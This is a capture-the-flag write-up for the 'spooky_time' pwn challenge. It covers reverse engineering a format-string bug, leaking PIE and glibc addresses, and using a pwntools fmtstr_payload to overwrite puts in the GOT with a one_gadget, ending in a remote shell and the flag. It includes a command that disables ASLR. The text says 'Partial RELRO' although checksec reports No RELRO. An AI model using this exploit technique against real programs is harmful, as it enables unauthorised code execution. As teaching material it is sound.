Spooky Time
9 minutes to read
We are given a 64-bit binary called spooky_time
:
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Reverse engineering
If we open the binary in Ghidra we will see this main
function:
void main() {
long in_FS_OFFSET;
char first_input[12];
char second_input[312];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
puts("It\'s your chance to scare those little kids, say something scary!\n");
__isoc99_scanf("%11s", first_input);
puts("\nSeriously?? I bet you can do better than ");
printf(first_input);
puts("\nAnyway, here comes another bunch of kids, let\'s try one more time..");
puts("\n");
__isoc99_scanf("%299s", second_input);
puts("\nOk, you are not good with that, do you think that was scary??\n");
printf(second_input);
puts("Better luck next time!\n");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Format String vulnerability
There are two Format String vulnerabilities since we can provide two strings that will be used as first parameter for printf
. The first parameter of printf
is supposed to be a format string to parse subsequent parameters as integers (%d
), hexadecimal values (%x
), characters (%c
), strings (%s
)…
If we have control of this parameter, we can dump values from the stack because we can enter formats and trick printf
to think that there are a lot of parameters in printf
. For example:
$ nc 159.65.48.79 31023
You know what time it is? It's SPOOKY time!
ββ ββββ ββ
βββ βββ
ββ ββ β β β β β β β β
ββ βββ β β β β β β β β
β β
β βββ ββ ββ β βββ β βββ
β βββ ββββ β β ββ ββ βββ βββ β β β
β βββ ββ βββ β ββ ββ
β ββββ β β ββ
β ββ β ββ ββ β
β β βββ β β
β β β βββ βββ ββ
β β β β ββββ ββββ β
β β β β βββ βββ β
β β β ββββ β
β ββ β β β ββ
ββ ββ β β
β ββ β β β
β β ββ β
β ββ β β
β βββ ββββ βββ β ββ
β ββββ ββ ββββ β β
ββ β
β ββ β
β β β β β
β β ββ β ββ ββ β
β β β βββ βββ ββββ β
ββ β β β β βββββ βββ
It's your chance to scare those little kids, say something scary!
%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
Seriously?? I bet you can do better than
1.1.7f775011ca37
Anyway, here comes another bunch of kids, let's try one more time..
Ok, you are not good with that, do you think that was scary??
.1.1.7f775011ca37.3f.7ffe4a82e21c.2e786c2500000000.786c252e786c25.786c252e786c252e.786c252e786c252e.786c252e786c252e.786c252e786c252e.786c252e786c252e.786c252e786c252e.786c252e786c252e.786c252e786c252e.2e786c252e.0.Better luck next time!
On the other hand, Format Strings vulnerabilites provide attackers the ability to write arbitrary data into arbitrary memory (write-what-where primitive) because of %n
. This format works by storing the number of bytes printed up to the format string into the referenced address.
Since our string is stored in the stack, we can control the position where we can store data. This time, we can control from position 8, let’s check it:
$ nc 159.65.48.79 31023
You know what time it is? It's SPOOKY time!
ββ ββββ ββ
βββ βββ
ββ ββ β β β β β β β β
ββ βββ β β β β β β β β
β β
β βββ ββ ββ β βββ β βββ
β βββ ββββ β β ββ ββ βββ βββ β β β
β βββ ββ βββ β ββ ββ
β ββββ β β ββ
β ββ β ββ ββ β
β β βββ β β
β β β βββ βββ ββ
β β β β ββββ ββββ β
β β β β βββ βββ β
β β β ββββ β
β ββ β β β ββ
ββ ββ β β
β ββ β β β
β β ββ β
β ββ β β
β βββ ββββ βββ β ββ
β ββββ ββ ββββ β β
ββ β
β ββ β
β β β β β
β β ββ β ββ ββ β
β β β βββ βββ ββββ β
ββ β β β β βββββ βββ
It's your chance to scare those little kids, say something scary!
asdf
Seriously?? I bet you can do better than
asdf
Anyway, here comes another bunch of kids, let's try one more time..
AAAABBBB%8$lx
Ok, you are not good with that, do you think that was scary??
AAAABBBB4242424241414141Better luck next time!
We entered AAAABBBB
and %8$lx
was replaced by 4242424241414141
, which is the same in hexadecimal format, little-endian.
Format String exploitation
Hence, we have a way to get an arbitrary write primitive. Since the binary has Partial RELRO, we can modify the entry of puts
at the Global Offset Table (GOT) and set a one_gadget
shell in order to get a shell.
Since PIE and ASLR are enabled, we will need to get two memory leaks to bypass them.
Leaking memory addresses
First of all, let’s disable ASLR temporarily:
# echo 0 | tee /proc/sys/kernel/randomize_va_space
0
Now, using a for
loop and some shell scripting, we can extract stack values iterating through each position using the Format String vulnerability:
$ for i in {1..100}; do echo -n "$i: "; echo "%$i\$lx\n" | ./spooky_time | tail -9 | head -1; done
1: 1
2: 1
3: 7ffff7ea7a37
4: 2a
5: 7ffff7fac280
6: 6c24362500000000
7: 78
8: 0
9: 0
10: 0
11: 0
12: 0
13: 0
14: 0
15: 0
16: 0
17: 0
18: 0
19: 0
20: 0
21: 0
22: 0
23: 0
24: 0
25: 0
26: 0
27: 0
28: 0
29: 0
30: 0
31: 0
32: 0
33: 0
34: 0
35: 0
36: 0
37: 0
38: 0
39: 0
40: 0
41: 0
42: 0
43: 0
44: 0
45: 0
46: 0
47: 591694f6743c6d00
48: 1
49: 7ffff7dbcd90
50: 0
51: 5555555553c0
52: 100000000
53: 7fffffffe7e8
54: 0
55: 47edbf377b597ad
56: 7fffffffe7e8
57: 5555555553c0
58: 555555557b80
59: 7ffff7ffd040
60: fb472429c1596cde
61: 22af37e9be135d12
62: 7fff00000000
63: 0
64: 0
65: 0
66: 0
67: e656b6af03dcc500
68: 0
69: 7ffff7dbce40
70: 7fffffffe7f8
71: 555555557b80
72: 7ffff7ffe2e0
73: 0
74: 0
75: 555555555160
76: 7fffffffe7e0
77: 0
78: 0
79: 555555555185
80: 7fffffffe7d8
81: 1c
82: 1
83: 7fffffffeabf
84: 0
85: 7fffffffeacd
86: 7fffffffead8
87: 7fffffffeaef
88: 7fffffffeb0a
89: 7fffffffeb40
90: 7fffffffeb51
91: 7fffffffeb7b
92: 7fffffffeb8c
93: 7fffffffeba3
94: 7fffffffebc1
95: 7fffffffebdc
96: 7fffffffebf4
97: 7fffffffec08
98: 7fffffffec1f
99: 7fffffffec34
100: 7fffffffec4d
From experience, I know that addresses that start with 555555555
are addresses within the binary, addresses that start with 7ffff7f
come from Glibc, and those that start with 7fffffff
are stack addresses.
Using GDB, we are able to find two addresses from the binary and from Glibc that will be useful to bypass PIE and ASLR:
$ gdb -q spooky_time
Reading symbols from spooky_time...
(No debugging symbols found in spooky_time)
gefβ€ start
[+] Breaking at '0x13c0'
gefβ€ x 0x7ffff7ea7a37
0x7ffff7ea7a37 <write+23>: 0xf0003d48
gefβ€ x 0x7ffff7fac280
0x7ffff7fac280: 0x00000008
gefβ€ x 0x7ffff7dbcd90
0x7ffff7dbcd90: 0x59e8c789
gefβ€ x 0x5555555553c0
0x5555555553c0 <main>: 0xfa1e0ff3
gefβ€ x 0x555555557b80
0x555555557b80: 0x55555200
gefβ€ x 0x7ffff7ffd040
0x7ffff7ffd040 <_rtld_global>: 0xf7ffe2e0
gefβ€ x 0x7ffff7dbce40
0x7ffff7dbce40 <__libc_start_main+128>: 0x593d8b4c
For instance, we can take positions 51 (0x5555555553c0
) and 69 (0x7ffff7dbce40
) to find the base addresses of the binary and Glibc.
Exploit develpment
We can start writing the exploit:
def main():
p = get_process()
p.sendlineafter(b"It's your chance to scare those little kids, say something scary!\n\n", b'%51$p.%69$p')
p.recvuntil(b'Seriously?? I bet you can do better than \n')
leaks = p.recvline().decode().split('.')
main_addr = int(leaks[0], 16)
__libc_start_main_addr = int(leaks[1], 16) - 128
elf.address = main_addr - elf.sym.main
glibc.address = __libc_start_main_addr - glibc.sym.__libc_start_main
log.success(f'ELF base address: {hex(elf.address)}')
log.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
if __name__ == '__main__':
main()
Notice that I used %p
instead of %lx
to save space (the result will be almost the same). And there we have the base addresses:
$ python3 solve.py
[*] './spooky_time'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spooky_time': pid 415707
[+] ELF base address: 0x555555554000
[+] Glibc base address: 0x7ffff7d93000
[*] Switching to interactive mode
Anyway, here comes another bunch of kids, let's try one more time..
$
At this point, we can enable ASLR and try again:
# echo 2 | tee /proc/sys/kernel/randomize_va_space
2
$ python3 solve.py
[*] './spooky_time'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spooky_time': pid 416286
[+] ELF base address: 0x55af448fc000
[+] Glibc base address: 0x7f62a0398000
[*] Switching to interactive mode
Anyway, here comes another bunch of kids, let's try one more time..
$
Getting RCE
In order to get RCE we must modify the GOT entry for puts
, which is the next function being called after the second printf
. We will enter a one_gadget
shell:
$ one_gadget glibc/libc.so.6
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
rbp == NULL || (u16)[rbp] == NULL
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
In order to write it, a manual approach is tedious (you can see this approach in fermat-strings and Rope machine). This time, we can use fmtstr_payload
from pwntools
, which takes the offset where we control the stack and a mapping between the address where we want to write and the value we want to write. Hence, this is the second part of the exploit:
one_gadgets = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
payload = fmtstr_payload(8, {elf.got.puts: glibc.address + one_gadgets[1]})
p.sendlineafter(b"Anyway, here comes another bunch of kids, let's try one more time..\n\n\n", payload)
p.recv()
p.interactive()
If we try it locally, we will have a shell:
$ python3 solve.py
[*] './spooky_time'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spooky_time': pid 421975
[+] ELF base address: 0x55c73a537000
[+] Glibc base address: 0x7f2a4f7a0000
[*] Switching to interactive mode
$ ls
flag.txt glibc solve.py spooky_time
Flag
Let’s try on remote:
$ python3 solve.py 159.65.48.79:31023
[*] './spooky_time'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 159.65.48.79 on port 31023: Done
[+] ELF base address: 0x557980faa000
[+] Glibc base address: 0x7f85dd971000
[*] Switching to interactive mode
$ ls
flag.txt
glibc
spooky_time
$ cat flag.txt
HTB{n0th1ng_sc4r1eR_th4n_fsb_w1th0ut_r3lR0}
The full exploit code is here: solve.py
.